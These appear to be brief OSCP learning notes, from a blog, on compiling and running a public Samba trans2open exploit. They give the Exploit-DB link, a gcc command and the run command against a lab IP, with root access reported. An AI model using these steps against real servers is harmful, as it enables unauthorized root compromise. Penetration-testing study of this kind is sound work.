OSCP Learning Notes - Exploit(2)
Compiling an Exploit
Exercise: samba exploit
1. Search and download the samba exploit source code from Exploit Database.
https://www.exploit-db.com/exploits/10

2. Compile the source code.
gcc 10.c -o trans2open

3. Use the trans2open tool to exploit the target server. Root the target server sucessfully.
./trans2open -b 0 10.0.0.20

相信未来 - 该面对的绝不逃避,该执著的永不怨悔,该舍弃的不再留念,该珍惜的好好把握。

浙公网安备 33010602011771号